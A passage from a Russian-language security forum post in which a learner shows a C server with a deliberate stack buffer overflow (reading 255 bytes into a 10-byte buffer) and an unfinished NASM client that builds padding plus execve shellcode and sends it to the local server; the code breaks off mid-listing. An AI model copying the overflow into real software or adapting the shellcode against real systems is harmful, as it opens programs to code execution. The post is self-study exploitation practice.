HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 05.06.2020, 19:01
xverizex
Guest
Сообщений: n/a
Провел на форуме:
2297

Репутация: 2
По умолчанию

хочу понять как это работает и кое что не получается. я написал простенький сервер со стековым буфером, который равен 10 байт.

Код:
Code:
#include 
#include 
#include 
#include 
#include 
#include 

static void read_data ( const int client ) {
    char buf[10];
    read ( client, buf, 255 );
    printf ( "%s\n", buf );
}

int main ( ) {
    int sock = socket ( AF_INET, SOCK_STREAM, 0 );
    if ( sock == -1 ) perror ( "socket" );

    int ret;
    int val = 1;
    ret = setsockopt ( sock, SOL_SOCKET, SO_REUSEPORT, &val, sizeof ( val ) );
    if ( ret == -1 ) perror ( "setsockopt" );

    struct sockaddr_in s;
    memset ( &s, 0, sizeof s );
    s.sin_family = AF_INET;
    s.sin_port = htons ( 8020 );
    inet_aton ( "127.0.0.1", &s.sin_addr );

    ret = bind ( sock, ( const struct sockaddr * ) &s, sizeof s );
    if ( ret == -1 ) perror ( "bind" );

    listen ( sock, 0 );

    socklen_t size = sizeof ( struct sockaddr_in );
    while ( 1 ) {
        printf ( "ожидание нового сообщения\n" );
        struct sockaddr_in sc;
        int client = accept ( sock, ( struct sockaddr * ) &sc, &size );
        printf ( "подключился новый клиент\n" );
        read_data ( client );
    }
}
эта программа на сервере запускается. а вот я написал программу, которая запускается на клиенте.

[CODE]
Code:
;DEFAULT REL
global main
extern printf
extern inet_aton
extern perror
extern connect
extern calloc

section .text

shellcode:
mov rax, 59
mov rdi, [path]
mov rsi, 0
mov rdx, 0
syscall
exploit:
push rbp
mov rbp, rsp
sub rsp, 8
mov esi, 1
add rdi, [size_of_shellcode]
push rdi
call calloc
mov [rbp + 0], rax
pop rdi
mov ecx, edi
xor rbx, rbx
mov ebx, ecx
mov rdi, [rbp + 0]
xor rax, rax
mov al, '0'
d1:
.loop_fill:
stosb
inc al
dec ecx
cmp ecx, 0
jg .loop_fill
lea rsi, [shellcode]
mov rcx, [size_of_shellcode]
rep movsb

mov rax, 1
mov rdi, [sock]
lea rsi, [rbp + 0]
mov rdx, [size_of_shellcode]
syscall
;--- цикл чтения и записи ----
forever:
mov rdx, 255
lea rsi, [buf_read]
mov rdi, [sock]
mov rax, 0
syscall
mov rdx, rax
lea rsi, [buf_read]
mov rdi, 1
mov rax, 1
syscall
jmp forever
leave
ret
main:
;------ получаем сокет -------
push rbp
mov rbp, rsp
sub rsp, 16
xor rsi, rsi
xor rdi, rdi
xor rdx, rdx
mov rdx, 0
mov si, [SOCK_STREAM]
mov di, [PF_INET]
mov rax, 41
syscall
mov [sock], eax
cmp rax, 0
jg continue_socket
xor rax, rax
lea rdi, [cant_socket]
syscall
jmp exit
;---- заполнить структуру ----
continue_socket:
xor rax, rax
mov ax, [PF_INET]
mov [s + sockaddr_in.family], ax
mov ax, [server_port]
xchg al, ah
mov [s + sockaddr_in.port], ax
xor rax, rax
lea rdi, [host]
xor rsi, rsi
lea esi, [s + sockaddr_in.s_addr]
call inet_aton
cmp rax, 0
jg continue_fill
lea rdi, [cant_fill]
call perror
jmp exit
;------- подключение --------
continue_fill:
xor rax, rax
mov [s + sockaddr_in.data], rax
xor rsi, rsi
xor rdi, rdi
xor rdx, rdx
mov edx, [sizeof_s]
lea rsi, [s]
mov edi, [sock]
xor rax, rax
call connect
cmp rax, 0
je continue_connect
lea rdi, [cant_connect]
call perror
jmp exit
continue_connect:
;---- написать сообщение ----
xor rax, rax
mov rdi, 10 ;
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ